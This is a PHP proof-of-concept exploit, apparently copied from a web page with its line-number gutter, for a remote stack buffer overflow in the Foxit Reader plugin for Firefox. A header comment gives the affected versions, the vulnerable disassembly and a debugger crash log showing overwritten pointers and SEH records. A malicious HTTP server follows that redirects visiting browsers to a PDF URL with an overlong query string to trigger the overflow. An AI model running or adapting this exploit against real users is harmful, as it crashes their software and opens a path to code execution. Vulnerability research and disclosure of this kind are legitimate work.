1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 |
<?php /* Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong Query String Remote Stack Buffer Overflow PoC --------------------------- rgod (listener) Tested against Microsoft Windows Mozilla Firefox 17.0.1 Foxit Reader 5.4.3.0920 Foxit Reader 5.4.4.1128 File: npFoxitReaderPlugin.dll Version: 2.2.1.530 Product url: http://www.foxitsoftware.com/downloads/ Last version setup file: FoxitReader544.11281_enu_Setup.exe Usage: Launch from the command line, then browse port 6666 with Firefox. You can test it also through this url: http://192.168.0.1/x.pdf?[A x 1024] File must be existing or the server should be responding with the proper Content-Type header. vulnerable code, npFoxitReaderPlugin.dll: ;------------------------------------------------------------------------------ L1000162F: push ebx push esi push edi mov edi,ebp or ecx,FFFFFFFFh xor eax,eax xor ebx,ebx xor esi,esi repne scasb not ecx dec ecx test ecx,ecx jle L100016E4 L1000164A: mov al,[esi+ebp] mov word ptr [esp+18h],0000h cmp al,25h jz L10001661 mov ecx,[esp+1Ch] mov [ebx+ecx],al jmp L100016CE L10001661: mov al,[esi+ebp+01h] cmp al,30h jl L1000166D cmp al,39h jle L1000167D L1000166D: cmp al,41h jl L10001675 cmp al,46h jle L1000167D L10001675: cmp al,61h jl L100016C6 cmp al,66h jg L100016C6 L1000167D: mov dl,[esi+ebp+01h] inc esi inc esi lea ecx,[esp+10h] mov [esp+18h],dl push ecx mov al,[esi+ebp] lea edx,[esp+1Ch] push L100450D4 push edx mov [esp+25h],al call SUB_L10006421 mov eax,[esp+1Ch] lea ecx,[esp+24h] push eax push L100450D0 push ecx call SUB_L100063CF mov eax,[esp+34h] mov dl,[esp+30h] add esp,00000018h mov [ebx+eax],dl jmp L100016CE L100016C6: mov ecx,[esp+1Ch] mov byte ptr [ebx+ecx],25h L100016CE: inc ebx mov edi,ebp or ecx,FFFFFFFFh xor eax,eax inc esi repne scasb not ecx dec ecx cmp esi,ecx jl L1000164A L100016E4: mov edx,[esp+1Ch] pop edi pop esi mov eax,00000001h mov byte ptr [ebx+edx],00h pop ebx pop ebp pop ecx retn ;------------------------------------------------------------------------------ this copy loop ends up in overwriting stack pointers, then (by attaching to plugin-container.exe): (f48.1778): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8 eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202 npFoxitReaderPlugin!NP_GetEntryPoints+0x15672: 10016852 8906mov dword ptr [esi],eaxds:0023:41414141=???????? ... Attempt to write to address 41414141 ... also SEH pointers are overwritten */ error_reporting(0); set_time_limit(0); $port = 6666; $____redirect = "HTTP/1.1 301 Moved Permanently\r\n". "Server: Apache\r\n". "Location: /x.pdf?".str_repeat("A",1024)."\r\n". "Content-Type: text/html\r\n\r\n"; $____boom = "HTTP/1.1 200 OK\r\n". "Server: Apache\r\n". "Accept-Ranges: bytes\r\n". "Content-Length: 60137\r\n". "Content-Type: application/pdf\r\n". "Connection: keep-alive\r\n\r\n"; $socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr); if (!$socket) { echo "$errstr ($errno)\n"; } else { echo "Listening on public tcp port ".$port." \n"; while ($conn = stream_socket_accept($socket)) { $line=fgets($conn); echo $line."\n"; if (strpos($line,".pdf")){ fwrite($conn,$____boom); } else { fwrite($conn,$____redirect); } fclose($conn); } fclose($socket); } ?> |